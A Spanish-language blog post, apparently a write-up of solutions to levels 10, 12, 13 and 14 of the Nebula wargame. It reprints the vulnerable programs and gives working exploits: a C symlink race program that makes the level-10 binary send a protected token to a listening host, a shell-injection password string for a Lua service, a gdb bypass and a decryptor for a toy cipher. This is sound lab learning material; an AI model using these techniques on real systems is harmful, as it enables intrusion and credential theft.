Soluciones Nebula Niveles 10,12,13,14

Seguimos con los niveles 10,12,13,14. Dejo el 11 para una entrada aparte, ya que ésta es suficientemente larga sin él.

Nivel 10:

Éste nivel es una condición de carrera clásica. La oportunidad se da porque comprueba si tenemos permisos para leer el fichero con access(), y el acceso real al fichero se hace un poco después.

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
char *file;
char *host;

if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}

file = argv[1];
host = argv[2];

if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];

printf("Connecting to %s:18211 .. ", host); fflush(stdout);

fd = socket(AF_INET, SOCK_STREAM, 0);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);

if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}

#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE

printf("Connected!\nSending file .. "); fflush(stdout);

ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}

rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

write(fd, buffer, rc);

printf("wrote file!\n");

} else {
printf("You don't have access to %s\n", file);
}
}

Esto significa que tenemos una pequeña oportunidad de cambiar el fichero al que tratamos de acceder entre las dos operaciones, usando enlaces simbólicos. El siguiente código en C, ejecutado el suficiente número de veces conseguirá enviar el fichero “token”. Para recibirlo, simplemente pondremos un netcat a la escucha:

#include <stdlib.h>

#include <stdio.h>

int main(int argc, char **argv){

pid_t pid;
char* args[] = {"/home/flag10/flag10","/tmp/token","192.168.56.1",NULL};
char* env[] = {NULL};
int i;

unlink("/tmp/token");
symlink("/tmp/b","/tmp/token");
pid = fork();
if (pid==0) //child
{
execve("/home/flag10/flag10", args,env);
}else if (pid<0) // error
{
printf("Failed to fork\n");
exit(1);
}else //parent
{
unlink("/tmp/token");
symlink("/home/flag10/token","/tmp/token");
}
return 0;
}

El token que se recibe es la contraseña de la cuenta flag10.

Nivel 12:

Éste nivel es especialmente fácil, demostrando que no están ordenados por dificultad ni mucho menos.


local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()

data = string.sub(data, 1, 40)

return data
end

while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)

if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end

end

client:close()
end
Se produce una concatenación insegura en la función hash() que podemos aprovechar para inyectar comandos. Simplemente, conectamos al servicio y enviamos como contraseña la cadena “whatever; getflag > /tmp/flag12” (sin las comillas).

Desconcertantemente sencillo

Nivel 13:

Yo no fui capaz de ver ninguna vulnerabilidad evidente en el siguiente código:


#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
int c;
char token[256];

if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}

// snip, sorry 🙂

printf("your token is %s\n", token);

}

Pero sí que me di cuenta de que no es necesario ejecutarlo como suid para obtener el token, así que decidí copiarlo a mi home, y usar gdb para cambiar el flujo de ejecución y obtener mi token.

Cambiando el flujo de ejecución con gdb

El token es también la contraseña de la cuenta flag13.

Nivel 14:

Éste nivel no es difícil, a pesar de que yo le tenga mucho respeto a la crypto. El binario efectúa un cifrado sobre la entrada estándar e imprime el resultado. Se nos da además un archivo con un token cifrado que tenemos que descifrar. Haciendo un par de pruebas sencillas se ve cómo funciona el cifrado.

El cifrado es sencillito

Visto, suma un número a cada caracter de la entrada basándose en su posición en la cadena, y empezando en cero. El siguiente programita en C descifra este tipo de cifrados, y el token que se nos ha proporcionado.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void){
char* buf;
int i;
buf = malloc(1024*sizeof(char));

int fd = open("/home/flag14/token",O_RDONLY);

int numbytes = read(fd,buf,1024);
for (i=0;i<numbytes-1;i++){
printf("%c",buf[i]-i);
}
printf("\n");
close(fd);
return 0;
}

Más en la próxima.

¡Salud!

Anuncios
Tagged with: , , , ,
Publicado en exploiting, hacking

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: